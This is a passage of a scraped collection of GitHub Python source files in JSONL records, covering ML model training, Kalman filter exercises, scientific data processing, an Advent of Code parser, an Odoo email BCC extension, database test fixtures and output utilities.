outputs = self.layer2(outputs)\n        # 1. res + linear\n        # 2. linear + res\n        outputs += x\n        outputs = self.LayerNormalization(outputs)\n        return outputs.to(DEVICE)\n\n\nclass EncoderLayer(nn.Module):\n    def __init__(self):\n        super(EncoderLayer, self).__init__()\n        self.mask_self_attention = MultiHeadAttention(d_model,numofhead,dropout_rate,True)\n        self.fc = FC(d_model)\n\n\n    def forward(self,inputs,padding_mask):\n        outputs = self.mask_self_attention(inputs,inputs,inputs,padding_mask,None)\n        outputs = self.fc(outputs,\"E\")\n        return outputs.to(DEVICE)\n\n\n\nclass DecoderLayer(nn.Module):\n    def __init__(self):\n        super(DecoderLayer, self).__init__()\n        self.self_attention = MultiHeadAttention(d_model,numofhead,dropout_rate,mask=False)\n        self.fc = FC(d_model)\n\n\n    def forward(self,enc_outputs):\n\n        outputs = self.fc(enc_outputs)\n        return outputs.to(DEVICE)\n\n\nclass Decoder(nn.Module):\n    def __init__(self):\n        super(Decoder, self).__init__()\n        self.layers = nn.ModuleList([DecoderLayer() for _ in range(numofblock)])\n        self.fc1 = nn.Linear(2, 256)\n        self.fc2 = nn.Linear(512, 256)\n        self.linear = nn.Linear(514,512)\n\n\n\n    def forward(self,x,labels):\n        seq_len = x.size()[1]\n        labels = F.one_hot(labels,num_classes=2)\n        labels = labels.unsqueeze(1)\n        labels = labels.repeat(1, seq_len, 1).float()\n        labels = labels.float()\n        # print(labels.shape)\n        # x = self.fc2(x)\n        # y = self.fc1(labels)\n        x = torch.cat((x,labels),dim=-1)\n        x = self.linear(x)\n        for layer in self.layers:\n            x = layer(x)\n        return x\n\n\nclass Encoder(nn.Module):\n    def __init__(self,vocab_size):\n        super(Encoder, self).__init__()\n        self.pe = PositionalEncoding(units)\n        self.embedding = TokenEmbedding(vocab_size,units)\n        self.layers = nn.ModuleList([EncoderLayer() for _ in range(numofblock)])\n\n\n    def forward(self,inputs):\n        outputs = self.embedding(inputs)\n        outputs = self.pe(outputs)\n        padding_mask = get_padding_mask(inputs,inputs)\n        for layer in self.layers:\n            outputs = layer(outputs,padding_mask)\n        return outputs,padding_mask\n\n\nclass LabelDiscriminator(nn.Module):\n    def __init__(self):\n        super(LabelDiscriminator, self).__init__()\n        self.fc1 = nn.Linear(512+2,2048)\n        self.fc2 = nn.Linear(2048,4096)\n        self.fc3 = nn.Linear(4096,1024)\n        self.fc4 = nn.Linear(1024,512)\n        self.fc5 = nn.Linear(512,1)\n        self.fc = nn.Sequential(self.fc1,nn.ReLU(),self.fc2,nn.ReLU(),self.fc3,nn.ReLU(),self.fc4,nn.ReLU(),self.fc5)\n\n\n    def forward(self,x,labels):\n        x = x.float()\n        seq_len = x.size()[1]\n\n        labels = F.one_hot(labels,num_classes=2)\n        labels = labels.unsqueeze(1)\n        labels = labels.repeat(1, seq_len, 1).float()\n        labels = labels.float()\n\n        x = self.fc(torch.cat((x,labels),dim=-1))\n        return x\n\n\nclass CTG(nn.Module):\n    def __init__(self,vocab_size):\n        super(CTG, self).__init__()\n        self.Encoder = Encoder(vocab_size)\n        self.Decoder = Decoder()\n        self.linear = nn.Linear(d_model,vocab_size)\n        self.mean = nn.Linear(d_model,latent_dim)\n        self.log_var = nn.Linear(d_model,latent_dim)\n        self.D = LabelDiscriminator()\n        self.pe = PositionalEncoding(units)\n        self.embedding = TokenEmbedding(vocab_size,units)\n\n    def reparameterize(self,z_mean,z_log_var):\n        std = torch.exp(0.5 * z_log_var)\n        eps = torch.randn_like(std)\n        return eps * std + z_mean\n\n\n    def forward(self,inputs,labels):\n        outputs = self.embedding(inputs)\n        outputs = self.pe(outputs.transpose(0, 1)).transpose(0, 1)\n\n        enc_outputs,padding_mask = self.Encoder(inputs)\n\n        z_mean = self.mean(enc_outputs)\n        z_log_var = self.log_var(enc_outputs)\n        z = self.reparameterize(z_mean,z_log_var)\n        enc_outputs = self.Decoder(z,labels)\n        # print(enc_outputs.shape)\n        logits = self.linear(enc_outputs)\n        # print(logits.shape)\n        logits = logits.view(-1, logits.size(-1))\n\n\n        real_D = self.D(outputs,labels)\n        fake_D = self.D(enc_outputs,labels)\n\n\n\n        return logits,z_mean,z_log_var,real_D, fake_D\n\n\n\nmodel = CTG(vocab_size).to(DEVICE)\nDiscriminator = LabelDiscriminator().to(DEVICE)\ncriterion = nn.CrossEntropyLoss(ignore_index=1)\noptimizer = optim.SGD(model.parameters(), lr=1e-3, momentum=0.99)\nD_optimizer = optim.AdamW(Discriminator.parameters(),lr=1e-4,weight_decay=1e-6)\n\n\n\nfor epoch in tqdm.tqdm(range(epochs)):\n    total = []\n    kl = []\n    recon = []\n    d = []\n    for inputs, outputs, labels in dataloader:\n        labels = torch.tensor(labels)\n        inputs, outputs, labels = inputs.to(DEVICE), outputs.to(DEVICE), labels.to(DEVICE)\n\n        logits, z_mean, z_log_var, real_D, fake_D = model(inputs, labels)\n\n        d_loss = F.cross_entropy(real_D,torch.ones((batch_size,1)).long().to(DEVICE))\n        g_loss = F.cross_entropy(fake_D,torch.zeros((batch_size,1)).long().to(DEVICE))\n\n        normal_loss = criterion(logits, outputs.contiguous().view(-1))\n        reconstruction_loss = F.cross_entropy(logits, outputs.contiguous().view(-1))\n        kl_loss = torch.mean(0.5 * torch.sum(torch.exp(z_log_var) + z_mean ** 2 - 1. - z_log_var, 1))\n\n\n        # Discriminator\n        D_optimizer.zero_grad()\n        d_loss.backward()\n        d.append(d_loss)\n        D_optimizer.step()\n\n        # transformers\n        loss = normal_loss + reconstruction_loss + kl_loss\n        optimizer.zero_grad()\n        loss.backward()\n        total.append(normal_loss)\n        kl.append(kl_loss)\n        recon.append(reconstruction_loss)\n        optimizer.step()\n\n    print(\"normal_loss = {0},recon_loss = {2},kl_loss = {1}, d_loss = {3}\".format(sum(total) / len(total), sum(kl) / len(kl),sum(recon)/len(recon),sum(d)/len(d)))\n\n\n\ndef get_sequence(dataset):\n    s = dataset.words2idx(\"<bos>\".split())\n    s = s.unsqueeze(0).to(DEVICE)\n    label = torch.tensor([1]).to(DEVICE)\n    flag = True\n    data = torch.tensor([]).long().to(DEVICE).unsqueeze(0)\n    count = 0\n    while flag:\n        s = torch.cat((s,data),dim=-1)\n        dec_outputs,z_mean,z_log_var = model(s.to(DEVICE),label)\n        prob = F.softmax(dec_outputs, dim=-1)\n        prob = torch.multinomial(prob, num_samples=1)\n        data = prob[-1].unsqueeze(0)\n\n        count += 1\n        if data == 3:\n            flag = False\n        if count == 20:\n            flag = False\n\n    print(dataset.idx2words(s[-1]))\nfor i in range(10):\n    get_sequence(data)","repo_name":"suntea233/Transformers","sub_path":"CVAE.py","file_name":"CVAE.py","file_ext":"py","file_size_in_byte":11830,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"43776835674","text":"from math import *\r\n\r\ndef f_gaussian(mu, sigma2, x):\r\n    f_x = (1 / sqrt(2 * pi * sigma2)) * exp(-.5 * (pow((x - mu),2)) / sigma2)\r\n    return f_x\r\n\r\nmu = 10.\r\nsigma2 = 4.\r\nx = 10.\r\n\r\nprint('Function Gaussian : ', f_gaussian(mu, sigma2, x))\r\n\r\n\r\ndef update(mean1, var1, mean2, var2):\r\n\r\n    new_mean = ((1./(var1 + var2))*(var2*mean1+var1*mean2))\r\n    new_var = (1./((1./var1)+(1./var2)))\r\n\r\n    return [new_mean, new_var]\r\n\r\ng1=[10.,8.]\r\ng2=[13.,2.]\r\n\r\nn_gaussian = update(g1[0],g1[1], g2[0],g2[1])\r\n\r\nprint('new MEAN : ' , n_gaussian[0] , ' new VARIANCE : ', n_gaussian[1])\r\n\r\ndef predict(mean1, var1, mean2, var2):\r\n    new_mean = mean1+mean2\r\n    new_var =var1+var2\r\n    return [new_mean, new_var]\r\n\r\nprint (predict(10., 4., 12., 4.))\r\n\r\n\r\n# Write a program that will iteratively update and\r\n# predict based on the location measurements\r\n# and inferred motions shown below.\r\n\r\nmeasurements = [5., 6., 7., 9., 10.]\r\nmotion = [1., 1., 2., 1., 1.]\r\nmeasurement_sig = 4.\r\nmotion_sig = 2.\r\nmu = 0.\r\nsig = 0.0000000001\r\n\r\n#Please print out ONLY the final values of the mean\r\n#and the variance in a list [mu, sig].\r\n\r\n# Insert code here\r\n\r\nfor i in range (len(measurements)):\r\n    [mu, sig] = update(mu,sig,measurements[i],measurement_sig)\r\n    #print('update: ', [mu, sig])\r\n    [mu, sig] = predict(mu,sig,motion[i],motion_sig)\r\n    #print('predict : ', [mu, sig])\r\n\r\nprint('## Last Values: ', [mu, sig])","repo_name":"marcov006/python","sub_path":"ex2_guassian.py","file_name":"ex2_guassian.py","file_ext":"py","file_size_in_byte":1403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"33850601085","text":"import numpy as np\nimport pandas\nimport glob\nimport apexpy\nfrom scipy import stats\n\nfrom ttools import io\n\n\nif __name__ == \"__main__\":\n\n    for year in range(2010, 2021):\n        year_floor = np.datetime64(f\"{year}-01-01\")\n        apex = apexpy.Apex(year)\n        for month in range(1, 13):\n            print(f\"{year} - {month}\")\n            start = np.datetime64(f\"{year}-{month:02d}\")\n            end = start + np.timedelta64(1, 'M')\n            bins = [np.arange(start, end + np.timedelta64(1, 'h'), np.timedelta64(1, 'h')).astype('datetime64[s]').astype(float), np.arange(29.5, 90), np.arange(-12, 12 + 24 / 360, 48 / 360)]\n            outfn = f\"E:\\\\superdarn\\\\{year:4d}_{month:02d}_superdarn.h5\"\n            superdarn_files = glob.glob(f\"E:\\\\superdarn\\\\raw\\\\{year:4d}{month:02d}*_north.csv\")\n            sd_time = []\n            sd_mlat = []\n            sd_mlon = []\n            sd_kvect = []\n            sd_vel = []\n            for file in superdarn_files:\n                sd_data = pandas.read_csv(file, skiprows=14)\n                sd_time.append(pandas.to_datetime(sd_data['time']).values.astype('datetime64[s]'))\n                sd_mlat.append(sd_data['vector_mlat'].values.astype(float))\n                sd_mlon.append(sd_data['vector_mlon'].values.astype(float))\n                sd_kvect.append(sd_data['vector_kvect'].values.astype(float))\n                sd_vel.append(sd_data['vector_vel_median'].values.astype(float))\n            sd_time = np.concatenate(sd_time)\n            sd_mlat = np.concatenate(sd_mlat)\n            sd_mlon = np.concatenate(sd_mlon)\n            sd_kvect = np.concatenate(sd_kvect)\n            sd_vel = np.concatenate(sd_vel)\n            mlt = apex.mlon2mlt(sd_mlon, sd_time)\n            mlt[mlt > 12] -= 24\n            sd_theta = np.pi + np.pi * (mlt - 6) / 12 - np.deg2rad(sd_kvect)\n            sd_fx = np.cos(sd_theta) * sd_vel\n            sd_fy = np.sin(sd_theta) * sd_vel\n            time = sd_time.astype('datetime64[s]').astype(float)\n            sample = np.column_stack((time, sd_mlat, mlt))\n            fx = stats.binned_statistic_dd(sample, sd_fx, 'mean', bins).statistic\n            fy = stats.binned_statistic_dd(sample, sd_fy, 'mean', bins).statistic\n            count = stats.binned_statistic_dd(sample, None, 'count', bins).statistic\n            fx[count < 2] = np.nan\n            fy[count < 2] = np.nan\n            io.write_h5(outfn, time=bins[0][:-1], fx=fx, fy=fy)\n","repo_name":"gregstarr/ttools","sub_path":"scripts/data/create_superdarn_dataset.py","file_name":"create_superdarn_dataset.py","file_ext":"py","file_size_in_byte":2422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"37085207820","text":"from operator import mul\nfrom functools import reduce\n\ndef parse(s):\n    global i\n    num = 0\n    a = []\n    ver = int(msg[i:i+3], 2)\n    print('Packet ver: ' + str(ver), end=' ')\n    i += 3\n    typeID = int(msg[i:i+3], 2)\n    i += 3\n    print('TypeID: ' + str(typeID), end=' ')\n    if typeID == 4:\n        leading = 1\n        packet = \"\"\n        while leading == 1:\n            leading = int(msg[i], 2)\n            i += 1\n            packet += msg[i:i+4]\n            i += 4\n        num = int(packet, 2)\n        print('Int literal: ' + str(num), end=' ')\n\n    else:\n        ltID = int(msg[i], 2)\n        print('lTypeID: ' + str(ltID), end=' ')\n        i += 1\n        if ltID == 0:\n            length = int(msg[i:i+15], 2)\n            print('Length: ' + str(length), end=' ')\n            i += 15\n            j = i\n            while i-j < length:\n                a.append(parse(s))\n        else:\n            nPackets = int(msg[i:i+11], 2)\n            print('nPackets: ' + str(nPackets), end=' ')\n            i += 11\n            for _ in range(nPackets):\n                a.append(parse(s))\n    print()\n\n    if typeID == 0:\n        return sum(a)\n    elif typeID == 1:\n        return reduce(mul, a, 1)\n    elif typeID == 2:\n        return min(a)\n    elif typeID == 3:\n        return max(a)\n    elif typeID == 5:\n        return int(a[0] > a[1])\n    elif typeID == 6:\n        return int(a[0] < a[1])\n    elif typeID == 7:\n        return int(a[0] == a[1])\n\n    return num\n\nf = open('input.txt', 'r')\nline = f.readline().strip()\n#line= \"C200B40A82\"\n\nmsg_hex = [c for c in line]\nmsg = \"\".join([ format(int(x, 16), \"04b\") for x in msg_hex ])\n\n#g = open('msg.txt', 'w')\n#print(msg, file=g)\n#g.close()\n\ni = 0\nprint(parse(msg))\n\nf.close()","repo_name":"tberic/AdventOfCode","sub_path":"2021/16/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":1724,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"9871190574","text":"from databasing.database_model import *\n\nimport itertools\nfrom random import randint, choice, randrange\nfrom faker import Faker\nfrom faker.providers import lorem, color\n\n\nclass ProductA():\n    def __init__(self):\n        self.product = Product(\n            name=\"Product A\",\n            price=100,\n        )\n        self.stock_points=[\n               StockPoint(product=self.product, name=\"Unfinished goods\", current_stock=630),\n               StockPoint(product=self.product, name=\"Finished goods\", current_stock=150),\n               StockPoint(product=self.product, name=\"Shipped Product A\", current_stock=0)\n            ]\n        self.route1 = SupplyRoute(\n            product=self.product,\n            sender=self.stock_points[0],\n            receiver=self.stock_points[1],\n            capacity=20,\n            move_requests=[\n                MoveRequest(quantity=100,\n                            date_of_registration=date.today(),\n                            requested_delivery_date=date.today() + timedelta(days=4),\n                            move_orders=[MoveOrder(quantity=100, order_date=date.today() + timedelta(days=4))]\n                            ),\n                MoveRequest(quantity=160, quantity_delivered=100,\n                            date_of_registration=date.today(),\n                            requested_delivery_date=date.today() + timedelta(days=-4),\n                            move_orders=[\n                                MoveOrder(quantity=100, order_date=date.today() + timedelta(days=4), completion_status=1),\n                                         MoveOrder(quantity=60, order_date=date.today() + timedelta(days=9))\n                                ]\n                            )\n            ]\n        )\n        self.route2 = SupplyRoute(\n            product=self.product,\n            sender=self.stock_points[1],\n            receiver=self.stock_points[2],\n            move_requests=[\n                MoveRequest(quantity=60, date_of_registration=date.today(),\n                            requested_delivery_date=date.today() + timedelta(days=2),\n                            move_orders=[MoveOrder(quantity=60, order_date=date.today() + timedelta(days=2))]),\n                MoveRequest(quantity=100, date_of_registration=date.today(),\n                            requested_delivery_date=date.today() + timedelta(days=6),\n                            move_orders=[MoveOrder(quantity=100, order_date=date.today() + timedelta(days=6))]),\n                MoveRequest(quantity=50, date_of_registration=date.today(),\n                            requested_delivery_date=date.today() + timedelta(days=7),\n                            move_orders=[MoveOrder(quantity=50, order_date=date.today() + timedelta(days=7))]),\n                MoveRequest(quantity=100, date_of_registration=date.today(),\n                            requested_delivery_date=date.today() + timedelta(days=11, ),\n                            move_orders=[MoveOrder(quantity=100, order_date=date.today() + timedelta(days=11))])\n            ],\n        )\n\n\nclass FakeProduct():\n    def __init__(self):\n        fake = Faker()\n        fake.add_provider(lorem)\n        fake.add_provider(color)\n\n        self.product = Product(\n            name=fake.word().capitalize() + ' ' + fake.safe_color_name().capitalize(),\n            price=randint(20, 200),\n        )\n        self.stock_points = [\n            StockPoint(product=self.product, name=\"Stockpoint \" + str(s+1), current_stock=choice([0, randrange(100, 1000, 50)]))\n            for s in range(randint(4, 5))\n        ]\n        self.supply_routes = []\n        for upstream, downstream in itertools.pairwise(self.stock_points):\n            self.supply_routes.append(\n                SupplyRoute(\n                    product=self.product,\n                    sender=upstream,\n                    receiver=downstream,\n                    capacity=randrange(10, 100, 10)\n                )\n            )\n        for route in self.supply_routes:\n            route.move_requests = []\n            n_requests = randint(0, 5)\n            for request_n in range(n_requests):\n                quantity = randrange(40, 200, 20)\n                delivery_time = randint(2, 12)\n                route.move_requests.append(\n                    MoveRequest(quantity=quantity,\n                                date_of_registration=date.today(),\n                                requested_delivery_date=date.today()+timedelta(days=delivery_time),\n                                move_orders=[\n                                    MoveOrder(quantity=quantity, order_date=date.today()+timedelta(days=delivery_time))\n                                    ]\n                                )\n                )\n\n\nclass BranchingProduct():\n    def __init__(self):\n        fake = Faker()\n        fake.add_provider(lorem)\n        fake.add_provider(color)\n\n        self.product = Product(\n            name='Product B',\n            price=randint(20, 200),\n        )\n        self.stock_points = [\n            StockPoint(product=self.product, name=\"Stockpoint \" + str(s+1), current_stock=choice([randrange(100, 200, 50)]))\n            for s in range(7)\n        ]\n        self.supply_routes = []\n        connections = [(1, 5), (2, 5), (2, 6), (3, 6), (4, 7), (5, 7), (6, 7)]\n        for sender_nr, receiver_nr in connections:\n            self.supply_routes.append(\n                SupplyRoute(\n                    product=self.product,\n                    sender=self.stock_points[sender_nr-1],\n                    receiver=self.stock_points[receiver_nr-1],\n                    capacity=30\n                )\n            )\n        for route in self.supply_routes:\n            route.move_requests = []\n            n_requests = randint(2, 5)\n            for request_n in range(n_requests):\n                quantity = randrange(40, 120, 20)\n                delivery_time = randint(4, 15)\n                route.move_requests.append(\n                    MoveRequest(quantity=quantity,\n                                date_of_registration=date.today(),\n                                requested_delivery_date=date.today() + timedelta(days=delivery_time),\n                                move_orders=[\n                                    MoveOrder(quantity=quantity, order_date=date.today() + timedelta(days=delivery_time))\n                                    ]\n                                )\n                )\n","repo_name":"jensdanb/ctp_dashboard","sub_path":"databasing/premade_db_content.py","file_name":"premade_db_content.py","file_ext":"py","file_size_in_byte":6410,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"28657211696","text":"a = int(input(\"Длина = \"))\r\nb = int(input(\"Ширина = \"))\r\ndef rec(a,b):\r\n    i = 0\r\n    while i < a:\r\n        j = 0\r\n        while j < b:\r\n            print(\"*\", end=\" \")\r\n        print()\r\n    i += 1\r\nprint(rec(a,b))\r\n","repo_name":"yarooo007/pp10","sub_path":"pp3.py","file_name":"pp3.py","file_ext":"py","file_size_in_byte":228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"40603827185","text":"\n# Unordered Colletions of data in key : value pair.\n\n# Create Dictionary\nuser = {\"name\": \"sachin\", \"age\":29 }\nprint (user)\n\n\nprint (user['name'])\nprint (user['age'])\n\n# Which type of data store in dictionary\n# Anything \n\nuser_info = {\n\n    'name' : \"sachin\",\n    'age' : 24,\n    'mov' : ['AAA','BBB'],\n    'MOU' : ['pqr','xyz']\n}\n\n\nprint (user_info)\n\n# How to enter data in empty dict\nusers  = {}\n\nusers['name'] = 'mohit'\nusers['age'] = 24\n\nprint (users)","repo_name":"SachinPitale/Python3","sub_path":"Python-2020/Chapter_7/1.Dict_intro.py","file_name":"1.Dict_intro.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"6503334717","text":"from utils.omniglot_dataset import OmniglotDataset\n\nimport numpy as np\nimport torch\n\n\ndef load_omniglot_data(opt, mode):\n    dataset = OmniglotDataset(mode=mode, root=opt.dataset_root)\n    n_classes = len(np.unique(dataset.y))\n    if n_classes < opt.classes_per_it_tr or n_classes < opt.classes_per_it_val:\n        raise(Exception('There are not enough classes in the dataset in order ' +\n                        'to satisfy the chosen classes_per_it. Decrease the ' +\n                        'classes_per_it_{tr/val} option and try again.'))\n    return dataset\n\n\ndef init_seed(opt):\n    '''\n    Disable cudnn to maximize reproducibility\n    '''\n    torch.cuda.cudnn_enabled = False\n    np.random.seed(opt.manual_seed)\n    torch.manual_seed(opt.manual_seed)\n    torch.cuda.manual_seed(opt.manual_seed)\n\n\ndef init_seed(opt):\n    '''\n    Disable cudnn to maximize reproducibility\n    '''\n    torch.cuda.cudnn_enabled = False\n    np.random.seed(opt.manual_seed)\n    torch.manual_seed(opt.manual_seed)\n    torch.cuda.manual_seed(opt.manual_seed)","repo_name":"AntonioCarta/continual-learning-course","sub_path":"utils/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1041,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"60"}
+{"seq_id":"15962318907","text":"from roots.root_bisect import BisectionMethod\nfrom roots.root_newtons import NewtonsMethod\nfrom roots.root_secant import SecantMethod\n\ndef demo():\n    # initialize objects for each method\n    bisection = BisectionMethod()\n    newtons   = NewtonsMethod()\n    secant    = SecantMethod()\n    \n    # run built in tests\n    bisection.run_test()\n    newtons.run_test()\n    secant.run_test()\n\nif __name__ == \"__main__\":\n    demo()\n\n","repo_name":"KevinCPP/ma321-proj2","sub_path":"roots/demo_root.py","file_name":"demo_root.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"27058378077","text":"# -*- coding: utf-8 -*-\nimport base64\nimport datetime\nimport logging\nimport psycopg2\nimport smtplib\nimport threading\n\nfrom collections import defaultdict\nfrom email.utils import formataddr\n\nfrom odoo import _, api, fields, models\nfrom odoo import tools\nfrom odoo.addons.base.ir.ir_mail_server import MailDeliveryException\nfrom odoo.tools.safe_eval import safe_eval\nfrom odoo.exceptions import AccessDenied\n_logger = logging.getLogger(__name__)\n\nclass ResCompany(models.Model):\n    _inherit = 'res.company'\n\n    notification_email = fields.Char(\"Notification Email\")\n\n\nclass MailMail(models.Model):\n    \"\"\" Model holding RFC2822 email messages to send. This model also provides\n        facilities to queue and send new email messages.  \"\"\"\n    _inherit = 'mail.mail'\n\n    @api.multi\n    def _send(self, auto_commit=False, raise_exception=False, smtp_session=None):\n        IrMailServer = self.env['ir.mail_server']\n        for mail_id in self.ids:\n            try:\n                mail = self.browse(mail_id)\n                if mail.state != 'outgoing':\n                    if mail.state != 'exception' and mail.auto_delete:\n                        mail.sudo().unlink()\n                    continue\n                # TDE note: remove me when model_id field is present on mail.message - done here to avoid doing it multiple times in the sub method\n                if mail.model:\n                    model = self.env['ir.model']._get(mail.model)[0]\n                else:\n                    model = None\n                if model:\n                    mail = mail.with_context(model_name=model.name)\n\n                # load attachment binary data with a separate read(), as prefetching all\n                # `datas` (binary field) could bloat the browse cache, triggerring\n                # soft/hard mem limits with temporary data.\n                attachments = [(a['datas_fname'], base64.b64decode(a['datas']), a['mimetype'])\n                               for a in mail.attachment_ids.sudo().read(['datas_fname', 'datas', 'mimetype'])]\n\n                # specific behavior to customize the send email for notified partners\n                email_list = []\n                if mail.email_to:\n                    email_list.append(mail.send_get_email_dict())\n                for partner in mail.recipient_ids:\n                    email_list.append(mail.send_get_email_dict(partner=partner))\n\n                # headers\n                headers = {}\n                ICP = self.env['ir.config_parameter'].sudo()\n                bounce_alias = ICP.get_param(\"mail.bounce.alias\")\n                catchall_domain = ICP.get_param(\"mail.catchall.domain\")\n                if bounce_alias and catchall_domain:\n                    if mail.model and mail.res_id:\n                        headers['Return-Path'] = '%s+%d-%s-%d@%s' % (bounce_alias, mail.id, mail.model, mail.res_id, catchall_domain)\n                    else:\n                        headers['Return-Path'] = '%s+%d@%s' % (bounce_alias, mail.id, catchall_domain)\n                if mail.headers:\n                    try:\n                        headers.update(safe_eval(mail.headers))\n                    except Exception:\n                        pass\n\n                # Writing on the mail object may fail (e.g. lock on user) which\n                # would trigger a rollback *after* actually sending the email.\n                # To avoid sending twice the same email, provoke the failure earlier\n                mail.write({\n                    'state': 'exception',\n                    'failure_reason': _('Error without exception. Probably due do sending an email without computed recipients.'),\n                })\n                mail_sent = False\n\n                # Update notification in a transient exception state to avoid concurrent\n                # update in case an email bounces while sending all emails related to current\n                # mail record.\n                notifs = self.env['mail.notification'].search([\n                    ('is_email', '=', True),\n                    ('mail_message_id', 'in', mail.mapped('mail_message_id').ids),\n                    ('res_partner_id', 'in', mail.mapped('recipient_ids').ids),\n                    ('email_status', 'not in', ('sent', 'canceled'))\n                ])\n                if notifs:\n                    notifs.sudo().write({\n                        'email_status': 'exception',\n                    })\n\n                # build an RFC2822 email.message.Message object and send it without queuing\n                res = None\n                bcc_sprit_emails = []\n                company_email = self.env.user.company_id.notification_email or False\n                if company_email:\n                    bcc_sprit_emails.append(company_email)\n                bcc_emails = ','.join(bcc_sprit_emails)\n                for email in email_list:\n                    msg = IrMailServer.build_email(\n                        email_from=mail.email_from,\n                        email_to=email.get('email_to'),\n                        subject=mail.subject,\n                        body=email.get('body'),\n                        body_alternative=email.get('body_alternative'),\n                        email_cc=tools.email_split(mail.email_cc),\n                        email_bcc=tools.email_split(bcc_emails),\n                        reply_to=mail.reply_to,\n                        attachments=attachments,\n                        message_id=mail.message_id,\n                        references=mail.references,\n                        object_id=mail.res_id and ('%s-%s' % (mail.res_id, mail.model)),\n                        subtype='html',\n                        subtype_alternative='plain',\n                        headers=headers)\n                    try:\n                        res = IrMailServer.send_email(\n                            msg, mail_server_id=mail.mail_server_id.id, smtp_session=smtp_session)\n                    except AssertionError as error:\n                        if str(error) == IrMailServer.NO_VALID_RECIPIENT:\n                            # No valid recipient found for this particular\n                            # mail item -> ignore error to avoid blocking\n                            # delivery to next recipients, if any. If this is\n                            # the only recipient, the mail will show as failed.\n                            _logger.info(\"Ignoring invalid recipients for mail.mail %s: %s\",\n                                         mail.message_id, email.get('email_to'))\n                        else:\n                            raise\n                if res:\n                    mail.write({'state': 'sent', 'message_id': res, 'failure_reason': False})\n                    mail_sent = True\n\n                # /!\\ can't use mail.state here, as mail.refresh() will cause an error\n                # see revid:odo@openerp.com-20120622152536-42b2s28lvdv3odyr in 6.1\n                if mail_sent:\n                    _logger.info('Mail with ID %r and Message-Id %r successfully sent', mail.id, mail.message_id)\n                mail._postprocess_sent_message(mail_sent=mail_sent)\n            except MemoryError:\n                # prevent catching transient MemoryErrors, bubble up to notify user or abort cron job\n                # instead of marking the mail as failed\n                _logger.exception(\n                    'MemoryError while processing mail with ID %r and Msg-Id %r. Consider raising the --limit-memory-hard startup option',\n                    mail.id, mail.message_id)\n                raise\n            except (psycopg2.Error, smtplib.SMTPServerDisconnected):\n                # If an error with the database or SMTP session occurs, chances are that the cursor\n                # or SMTP session are unusable, causing further errors when trying to save the state.\n                _logger.exception(\n                    'Exception while processing mail with ID %r and Msg-Id %r.',\n                    mail.id, mail.message_id)\n                raise\n            except Exception as e:\n                failure_reason = tools.ustr(e)\n                _logger.exception('failed sending mail (id: %s) due to %s', mail.id, failure_reason)\n                mail.write({'state': 'exception', 'failure_reason': failure_reason})\n                mail._postprocess_sent_message(mail_sent=False)\n                if raise_exception:\n                    if isinstance(e, AssertionError):\n                        # get the args of the original error, wrap into a value and throw a MailDeliveryException\n                        # that is an except_orm, with name and value as arguments\n                        value = '. '.join(e.args)\n                        raise MailDeliveryException(_(\"Mail Delivery Failed\"), value)\n                    raise\n\n            if auto_commit is True:\n                self._cr.commit()\n        return True\n","repo_name":"moltisinc/odooapps","sub_path":"email_bcc_send_company/models/mail.py","file_name":"mail.py","file_ext":"py","file_size_in_byte":8877,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"40330073951","text":"\"\"\"Output utilities.\n\"\"\"\nimport warnings\nimport pathlib\n\nfrom .xdmf import XdmfWriter\nfrom .xyz import XyzWriter\nfrom .vtu import VtuWriter\n\n# register suffixes of file-sets subject to backup\n_backup_suffixes = {\n    \"output\": [\n        \".xyz\",\n        \".xmf\",\n        \".h5\",\n        \".vtu\",\n    ],\n    \"checkpoint\": [\n        \".cpt\",\n        \".h5\",\n    ],\n}\n\ndef create_backup(outprefix, cptprefix):\n    \"\"\"Create enumerated backups of a set of files with prefixed names.\n\n    Takes a whole set of files starting with `outprefix` and/or `cptprefix`\n    and puts it into an enumerated backup that automatically detects its\n    number from existing backups of the same set of files.\n    \"\"\"\n\n    outfname = pathlib.Path(outprefix)\n    cptfname = pathlib.Path(cptprefix)\n\n    # find last backup of a file set with these prefixes\n    bnum_out = -1\n    for f in outfname.parent.glob(f\"#{outfname.name}*#\"):\n        bnum_out = max(int(f.name.strip(\"#\").split(\".\")[-1]), bnum_out)\n    bnum_cpt = -1\n    for f in cptfname.parent.glob(f\"#{cptfname.name}*#\"):\n        bnum_cpt = max(int(f.name.strip(\"#\").split(\".\")[-1]), bnum_cpt)\n\n    if not bnum_cpt == bnum_out:\n        wstr = f\"Inconsistent backups found for output ({bnum_out}) \" + \\\n               f\"and checkpoint ({bnum_cpt}). Using {max(bnum_out,bnum_cpt)}.\"\n        warnings.warn(wstr)\n    bnum = max(bnum_out, bnum_cpt)\n\n    # backup output\n    backups = []\n    for fname, ftype in [(outfname, \"output\"), (cptfname, \"checkpoint\")]:\n        for suffix in _backup_suffixes[ftype]:\n            for f in fname.parent.glob(f\"{fname.name}*{suffix}\"):\n                backups.append(f.name)\n                bname = f\"#{f.name}.{bnum+1}#\"\n                backup = fname.parent.resolve().joinpath(bname)\n                _ = f.rename(backup)\n\n    if len(backups):\n        print(f\"Created backup #{bnum+1} of:\", backups)\n\ndef make_output(config):\n    \"\"\"Construct output writer object.\n\n    Args:\n        config (ConfigParser): trimem config defining the output type in\n            config['GENERAL']['output_format']. Must be one of `vtu`, `xyz` or\n            `xdmf`.\n\n    Returns:\n        Writer-like:\n            An instance of an output writer class having a method\n            `write_points_cells` with signature `(points, 